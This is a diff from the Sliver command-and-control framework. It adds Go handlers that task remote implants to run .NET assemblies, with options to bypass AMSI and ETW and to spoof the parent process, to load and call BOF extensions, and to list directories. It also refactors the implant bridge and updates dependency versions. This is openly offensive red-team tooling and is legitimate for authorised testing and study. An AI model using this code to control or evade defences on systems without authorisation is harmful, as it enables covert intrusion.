"github.com/bishopfox/sliver/client/prelude/config"
"github.com/bishopfox/sliver/client/prelude/implant"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
type execasmArgs struct {
IsDLL bool `json:"isDLL"`
Process string `json:"process"`
Arguments string `json:"arguments"`
Architecture string `json:"architecture"`
Method string `json:"method"`
Class string `json:"class"`
AppDomain string `json:"appDomain"`
Runtime string `json:"runtime"`
InProcess bool `json:"inProcess"`
PPid int32 `json:"ppid"`
ProcessArgs string `json:"processArgs"`
EtwBypass bool `json:"etwBypass"`
AmsiBypass bool `json:"amsiBypass"`
}
func executeAssemblyHandler(arguments interface{}, payload []byte, impBridge *bridge.OperatorImplantBridge, cb func(string, int, int), outputFormat string) (string, int, int) {
argsByte, err := json.Marshal(arguments)
if err != nil {
return sendError(err)
}
asmArgs := execasmArgs{}
err = json.Unmarshal(argsByte, &asmArgs)
if err != nil {
return sendError(err)
}
extResp, err := impBridge.RPC.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: implant.MakeRequest(impBridge.Implant),
IsDLL: asmArgs.IsDLL,
Process: asmArgs.Process,
Arguments: asmArgs.Arguments,
Assembly: payload,
Arch: asmArgs.Architecture,
Method: asmArgs.Method,
ClassName: asmArgs.Class,
AppDomain: asmArgs.AppDomain,
AmsiBypass: asmArgs.AmsiBypass,
EtwBypass: asmArgs.EtwBypass,
Runtime: asmArgs.Runtime,
InProcess: asmArgs.InProcess,
PPid: uint32(asmArgs.PPid),
})
if err != nil {
return sendError(err)
}
// Async callback
if extResp.Response != nil && extResp.Response.Async {
impBridge.BeaconCallback(extResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err := proto.Unmarshal(task.Response, extResp)
if err != nil {
cb(sendError(err))
return
}
cb(handleExecAsmOutput(extResp, int(impBridge.Implant.GetPID()), outputFormat))
})
return "", config.SuccessExitStatus, int(impBridge.Implant.GetPID())
}
// Sync response
if extResp.Response != nil && extResp.Response.Err != "" {
return sendError(errors.New(extResp.Response.Err))
}
return handleExecAsmOutput(extResp, int(asmArgs.PPid), outputFormat)
}
func handleExecAsmOutput(asmResp *sliverpb.ExecuteAssembly, pid int, format string) (string, int, int) {
if format == "json" {
return JSONFormatter(asmResp, pid)
}
return string(asmResp.Output), config.SuccessExitStatus, pid
}
+48
View File
@@ -0,0 +1,48 @@
package executor
import (
"encoding/json"
"github.com/bishopfox/sliver/client/prelude/bridge"
"github.com/bishopfox/sliver/client/prelude/config"
"google.golang.org/protobuf/proto"
)
type Formatter func(msg proto.Message, pid int) (string, int, int)
type handler func(interface{}, []byte, *bridge.OperatorImplantBridge, func(string, int, int), string) (string, int, int)
// TODO: populate
var handlers = map[string]handler{
"ls": LsHandler,
"download": nil,
"upload": nil,
"execute-assembly": executeAssemblyHandler,
"execute-shellcode": nil,
"sideload": nil,
"spawndll": nil,
"run-extension": runExtension,
}
func GetHandlers() map[string]handler {
return handlers
}
func GetHandler(name string) handler {
h, ok := handlers[name]
if ok {
return h
}
return nil
}
func JSONFormatter(msg proto.Message, pid int) (string, int, int) {
out, err := json.Marshal(msg)
if err != nil {
return "", config.ErrorExitStatus, config.ErrorExitStatus
}
return string(out), config.SuccessExitStatus, pid
}
func sendError(err error) (string, int, int) {
return err.Error(), config.ErrorExitStatus, config.ErrorExitStatus
}
+228
View File
@@ -0,0 +1,228 @@
package executor
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"os"
"strings"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/extensions"
"github.com/bishopfox/sliver/client/prelude/bridge"
"github.com/bishopfox/sliver/client/prelude/config"
"github.com/bishopfox/sliver/client/prelude/implant"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
type extensionMessage struct {
Name string `json:"Name"`
Arguments []interface{} `json:"Arguments"`
}
type bofArg struct {
ArgType string `json:"type"`
Value interface{} `json:"value"`
}
func runExtension(message interface{}, _ []byte, impBridge *bridge.OperatorImplantBridge, cb func(string, int, int), outputFormat string) (string, int, int) {
var (
msg extensionMessage
extName string
export string
extArgs []byte
)
extArgsInt, ok := message.(map[string](interface{}))["Arguments"].([]interface{})
if !ok {
return sendError(errors.New("missing extension arguments"))
}
extensionName, ok := message.(map[string](interface{}))["Name"].(string)
if !ok {
return sendError(errors.New("missing extension name"))
}
msg = extensionMessage{
Name: extensionName,
Arguments: extArgsInt,
}
ext, err := extensions.GetLoadedExtension(msg.Name)
if err != nil {
return sendError(err)
}
// Load extension into implant
loadExtRequest := implant.MakeRequest(impBridge.Implant)
if loadExtRequest == nil {
return sendError(errors.New("could not create RPC request"))
}
err = extensions.LoadExtension(impBridge.Implant.GetOS(), impBridge.Implant.GetArch(), true, ext, loadExtRequest, impBridge.RPC)
if err != nil {
return sendError(err)
}
// Determine whether the extensions has dependencies (BOF),
// if so, get dependency name and extension file
if ext.DependsOn != "" {
depExt, err := extensions.GetLoadedExtension(ext.DependsOn)
if err != nil {
return sendError(err)
}
extName = depExt.CommandName
export = depExt.Entrypoint
} else {
extName = ext.CommandName
export = ext.Entrypoint
}
// Build the arguments param (depending if BOF or not)
extFilePath, err := ext.GetFileForTarget(ext.CommandName, impBridge.Implant.GetOS(), impBridge.Implant.GetArch())
if err != nil {
return sendError(err)
}
if strings.HasSuffix(extFilePath, ".o") {
// We have a BOF
extData, err := os.ReadFile(extFilePath)
if err != nil {
return sendError(err)
}
extArgs, err = parseBOFArgs(extData, ext, msg.Arguments)
if err != nil {
return sendError(err)
}
} else {
// We have a regular extension
var extArgStr []string
for _, arg := range msg.Arguments {
converted, ok := arg.(string)
if !ok {
return sendError(errors.New("arguments must be strings"))
}
extArgStr = append(extArgStr, converted)
}
extArgsLst := []byte(strings.Join(extArgStr, " "))
extArgs = []byte(extArgsLst)
}
// Call extension
callResp, err := impBridge.RPC.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
ServerStore: true,
Export: export,
Request: implant.MakeRequest(impBridge.Implant),
Args: extArgs,
})
if err != nil {
return sendError(err)
}
if callResp.Response != nil && callResp.Response.Async {
impBridge.BeaconCallback(callResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err := proto.Unmarshal(task.Response, callResp)
if err != nil {
cb(sendError(err))
return
}
cb(handleExtensionOutput(callResp, int(impBridge.Implant.GetPID()), outputFormat))
})
return "", config.SuccessExitStatus, int(impBridge.Implant.GetPID())
}
if callResp.Response != nil && callResp.Response.Err != "" {
return sendError(errors.New(callResp.Response.Err))
}
return handleExtensionOutput(callResp, int(impBridge.Implant.GetPID()), outputFormat)
}
func parseBOFArgs(extData []byte, extManifest *extensions.ExtensionManifest, args []interface{}) ([]byte, error) {
var (
err error
bArgs []bofArg
)
for _, arg := range args {
kv, ok := arg.(map[string]interface{})
if !ok {
return nil, fmt.Errorf("invalid argument: %v", arg)
}
bArgs = append(bArgs, bofArg{
ArgType: kv["type"].(string),
Value: kv["value"],
})
}
bofArgs := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
for _, a := range bArgs {
switch a.ArgType {
case "integer":
fallthrough
case "int":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddInt(uint32(v))
}
case "string":
if v, ok := a.Value.(string); ok {
err = bofArgs.AddString(v)
}
case "wstring":
if v, ok := a.Value.(string); ok {
err = bofArgs.AddWString(v)
}
case "short":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddShort(uint16(v))
}
}
if err != nil {
return nil, nil
}
}
extArgs := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
parsedArgs, err := bofArgs.GetBuffer()
if err != nil {
return nil, err
}
err = extArgs.AddString(extManifest.Entrypoint)
if err != nil {
return nil, err
}
err = extArgs.AddData(extData)
if err != nil {
return nil, err
}
err = extArgs.AddData(parsedArgs)
if err != nil {
return nil, err
}
return extArgs.GetBuffer()
}
func handleExtensionOutput(callExt *sliverpb.CallExtension, pid int, format string) (string, int, int) {
if format == "json" {
return JSONFormatter(callExt, pid)
}
return string(callExt.Output), config.SuccessExitStatus, pid
}
+107
View File
@@ -0,0 +1,107 @@
package executor
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/prelude/bridge"
"github.com/bishopfox/sliver/client/prelude/config"
"github.com/bishopfox/sliver/client/prelude/implant"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"google.golang.org/protobuf/proto"
)
func LsHandler(arguments interface{}, _ []byte, impBridge *bridge.OperatorImplantBridge, cb func(string, int, int), outputFormat string) (string, int, int) {
path, ok := arguments.(map[string]interface{})["Path"].(string)
if !ok {
return sendError(errors.New("invalid path"))
}
lsResp, err := impBridge.RPC.Ls(context.Background(), &sliverpb.LsReq{
Path: path,
Request: implant.MakeRequest(impBridge.Implant),
})
if err != nil {
return sendError(err)
}
// Async callback
if lsResp.Response != nil && lsResp.Response.Async {
impBridge.BeaconCallback(lsResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err := proto.Unmarshal(task.Response, lsResp)
if err != nil {
cb(sendError(err))
return
}
cb(handleLsOutput(lsResp, int(impBridge.Implant.GetPID()), outputFormat))
})
return "", config.SuccessExitStatus, int(impBridge.Implant.GetPID())
}
// Sync response
if lsResp.Response != nil && lsResp.Response.Err != "" {
return sendError(errors.New(lsResp.Response.Err))
}
return handleLsOutput(lsResp, int(impBridge.Implant.GetPID()), outputFormat)
}
func handleLsOutput(lsResp *sliverpb.Ls, pid int, format string) (string, int, int) {
if format == "json" {
return JSONFormatter(lsResp, pid)
}
return string(PrintLs(lsResp)), config.SuccessExitStatus, pid
}
func PrintLs(ls *sliverpb.Ls) []byte {
out := strings.Builder{}
// Generate metadata to print with the path
numberOfFiles := len(ls.Files)
var totalSize int64 = 0
var pathInfo string
for _, fileInfo := range ls.Files {
totalSize += fileInfo.Size
}
if numberOfFiles == 1 {
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
} else {
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
}
out.WriteString(fmt.Sprintf("%s\n", pathInfo))
out.WriteString(fmt.Sprintf("%s\n", strings.Repeat("=", len(pathInfo))))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
})
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime < ls.Files[j].ModTime
})
for _, fileInfo := range ls.Files {
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else if fileInfo.Link != "" {
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
}
table.Flush()
out.WriteString(outputBuf.String())
return []byte(out.String())
}
+46
View File
@@ -0,0 +1,46 @@
package implant
import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
const defaultTimeout = 60
// ActiveImplant exposes common methods between
// Sliver clientpb.Session and clientpb.Beacon
// that are required by Operator implants
type ActiveImplant interface {
GetID() string
GetHostname() string
GetPID() int32
GetOS() string
GetArch() string
GetFilename() string
GetReconnectInterval() int64
}
func MakeRequest(a ActiveImplant) *commonpb.Request {
timeout := int64(defaultTimeout)
req := &commonpb.Request{
Timeout: timeout,
}
if a == nil {
return nil
}
beacon, ok := a.(*clientpb.Beacon)
if ok {
req.BeaconID = beacon.ID
req.Async = true
return req
}
session, ok := a.(*clientpb.Session)
if ok {
req.SessionID = session.ID
req.Async = false
return req
}
return nil
}
+21 -25
View File
@@ -24,6 +24,9 @@ import (
"net"
"sync"
"github.com/bishopfox/sliver/client/prelude/bridge"
"github.com/bishopfox/sliver/client/prelude/config"
"github.com/bishopfox/sliver/client/prelude/implant"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
@@ -32,7 +35,10 @@ import (
var ImplantMapper *OperatorImplantMapper
const defaultImplantSleep = 5
const (
defaultImplantSleep = 5
defaultRange = "sliver"
)
type OperatorConfig struct {
Range string
@@ -44,42 +50,29 @@ type OperatorConfig struct {
// OperatorImplantMapper maps an OperatorConfig with
// active Sliver implant sessions/beacons
type OperatorImplantMapper struct {
implantBridges []*OperatorImplantBridge
implantBridges []*bridge.OperatorImplantBridge
conf *OperatorConfig
sync.Mutex
}
// ActiveImplant exposes common methods between
// Sliver clientpb.Session and clientpb.Beacon
// that are required by Operator implants
type ActiveImplant interface {
GetID() string
GetHostname() string
GetPID() int32
GetOS() string
GetArch() string
GetFilename() string
GetReconnectInterval() int64
}
func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
if ImplantMapper == nil {
ImplantMapper = &OperatorImplantMapper{
implantBridges: make([]*OperatorImplantBridge, 0),
implantBridges: make([]*bridge.OperatorImplantBridge, 0),
conf: conf,
}
}
return ImplantMapper
}
func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
func (p *OperatorImplantMapper) AddImplant(a implant.ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
var pwd string
conn, err := net.Dial("tcp", p.conf.OperatorURL)
if err != nil {
return err
}
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a),
Request: implant.MakeRequest(a),
})
if err != nil {
return err
@@ -94,8 +87,11 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
if b, ok := a.(*clientpb.Beacon); ok {
sleepTime = int(b.ReconnectInterval)
}
if p.conf.Range == "" {
p.conf.Range = defaultRange
}
beacon := OperatorBeacon{
beacon := config.OperatorBeacon{
Name: a.GetID(),
Target: p.conf.OperatorURL,
Hostname: a.GetHostname(),
@@ -103,7 +99,7 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
Platform: a.GetOS(),
Range: p.conf.Range,
Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
Links: make([]Instruction, 0),
Links: make([]config.Instruction, 0),
Executing: "",
Pwd: pwd,
Sleep: int(sleepTime),
@@ -112,19 +108,19 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
if p.conf.AESKey == "" {
return errors.New("missing AES key")
}
a.GetID()
encryptionKey := p.conf.AESKey
agentConfig := AgentConfig{
agentConfig := config.AgentConfig{
Name: a.GetID(),
AESKey: encryptionKey,
Range: p.conf.Range,
Contact: "tcp",
Address: p.conf.OperatorURL,
Pid: int(a.GetPID()),
Executing: make(map[string]Instruction),
Executing: make(map[string]config.Instruction),
Sleep: int(sleepTime),
}
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
bridge := bridge.NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback, RunCommand)
p.Lock()
p.implantBridges = append(p.implantBridges, bridge)
p.Unlock()
@@ -132,7 +128,7 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
return nil
}
func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
func (p *OperatorImplantMapper) RemoveImplant(imp implant.ActiveImplant) (err error) {
p.Lock()
for _, bridge := range p.implantBridges {
if bridge.Implant.GetID() == imp.GetID() {
+6 -6
View File
@@ -21,16 +21,16 @@ package util
func DetermineExecutors(platform string, arch string) []string {
platformExecutors := map[string]map[string][]string{
"windows": {
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
"file": {"powershell.exe", "powershell.exe", "cmd.exe", "", "", ""},
"executor": {"pwsh", "psh", "cmd", "sliver", "bof", "exec"},
},
"linux": {
"file": {"python3", "sh", "bash"},
"executor": {"python", "sh", "bash"},
"file": {"python3", "sh", "bash", ""},
"executor": {"python", "sh", "bash", "sliver"},
},
"darwin": {
"file": {"python3", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "zsh", "sh", "osa", "bash"},
"file": {"python3", "zsh", "sh", "osascript", "bash", ""},
"executor": {"python", "zsh", "sh", "osa", "bash", "sliver"},
},
}
var executors []string
+1 -1
View File
@@ -14,7 +14,7 @@ GEM
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.23.6)
commonmarker (0.23.4)
concurrent-ruby (1.1.9)
dnsruby (1.61.9)
simpleidn (~> 0.1)
+2 -2
View File
@@ -20,8 +20,8 @@ set -e
# Creates the static go asset archives
GO_VER="1.19.1"
GARBLE_VER="1.19.2"
GO_VER="1.18.5"
GARBLE_VER="1.18.0"
SGN_VER="0.0.3"
GO_ARCH_1="amd64"
+1 -1
View File
@@ -33,7 +33,7 @@ else
fi
# client / command / extensions
if go test -tags=client,$TAGS ./client/command/extensions ; then
if go test -tags=client,$TAGS ./client/extensions ; then
:
else
exit 1
+37 -42
View File
@@ -5,55 +5,52 @@ go 1.18
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
require (
github.com/AlecAivazis/survey/v2 v2.3.6
github.com/AlecAivazis/survey/v2 v2.2.2
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.2
github.com/alecthomas/chroma v0.10.0
github.com/cheggaaa/pb/v3 v3.1.0
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
github.com/chromedp/chromedp v0.8.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
github.com/desertbit/readline v1.5.1
github.com/fatih/color v1.13.0
github.com/gofrs/uuid v4.3.0+incompatible
github.com/fatih/color v1.12.0
github.com/gofrs/uuid v3.3.0+incompatible
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
github.com/jedib0t/go-pretty/v6 v6.3.8
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/jedib0t/go-pretty/v6 v6.2.4
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.15
github.com/miekg/dns v1.1.50
github.com/mattn/go-sqlite3 v1.14.12
github.com/miekg/dns v1.1.35
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/onsi/ginkgo v1.16.5
github.com/onsi/gomega v1.20.2
github.com/pquerna/otp v1.3.0
github.com/shirou/gopsutil/v3 v3.22.8
github.com/sirupsen/logrus v1.9.0
github.com/spf13/cobra v1.5.0
github.com/stretchr/testify v1.8.0
github.com/shirou/gopsutil/v3 v3.21.10
github.com/sirupsen/logrus v1.8.1
github.com/spf13/cobra v1.1.1
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.28.1
google.golang.org/protobuf v1.27.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.3.6
gorm.io/driver/postgres v1.3.10
gorm.io/driver/sqlite v1.3.6
gorm.io/gorm v1.23.9
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.21.14
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
modernc.org/sqlite v1.16.0
)
@@ -61,66 +58,64 @@ require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/StackExchange/wmi v1.2.1 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/chromedp/sysutil v1.0.0 // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/dlclark/regexp2 v1.4.0 // indirect
github.com/fsnotify/fsnotify v1.4.9 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.6.0 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/gobwas/httphead v0.1.0 // indirect
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.1.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/google/go-cmp v0.5.8 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.13.0 // indirect
github.com/jackc/pgconn v1.7.0 // indirect
github.com/jackc/pgio v1.0.0 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgproto3/v2 v2.3.1 // indirect
github.com/jackc/pgproto3/v2 v2.0.5 // indirect
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
github.com/jackc/pgtype v1.12.0 // indirect
github.com/jackc/pgx/v4 v4.17.2 // indirect
github.com/jackc/pgtype v1.5.0 // indirect
github.com/jackc/pgx/v4 v4.9.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.5 // indirect
github.com/jinzhu/now v1.1.2 // indirect
github.com/josharian/intern v1.0.0 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.9 // indirect
github.com/mattn/go-isatty v0.0.14 // indirect
github.com/mattn/go-runewidth v0.0.13 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/nxadm/tail v1.4.8 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/rivo/uniseg v0.2.0 // indirect
github.com/sergi/go-diff v1.1.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
github.com/yusufpapurcu/wmi v1.2.2 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
gopkg.in/yaml.v3 v3.0.0 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
modernc.org/ccgo/v3 v3.15.18 // indirect
+928 -148
View File
File diff suppressed because it is too large. Load diff
+9 -15
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.18
go 1.17
require (
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
@@ -10,40 +10,34 @@ require (
github.com/lesnuages/go-winio v0.4.19
github.com/miekg/dns v1.1.50
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/onsi/ginkgo v1.16.5
github.com/onsi/gomega v1.20.2
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/protobuf v1.28.0
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
google.golang.org/protobuf v1.26.0
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
)
require (
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/fsnotify/fsnotify v1.4.9 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/google/go-cmp v0.5.8 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/nxadm/tail v1.4.8 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/mod v0.4.2 // indirect
golang.org/x/text v0.3.7 // indirect
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/tools v0.1.7 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
)
+898 -35
View File
File diff suppressed because it is too large. Load diff
+6 -16
View File
@@ -1,17 +1,7 @@
#!/bin/bash
#!/bin/sh
set -e
cleanup() {
[ ! -z "$1" ] && echo "Error $1 occurred on $2"
mv "${tempDir}/vendor" "${pwd}/../vendor"
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
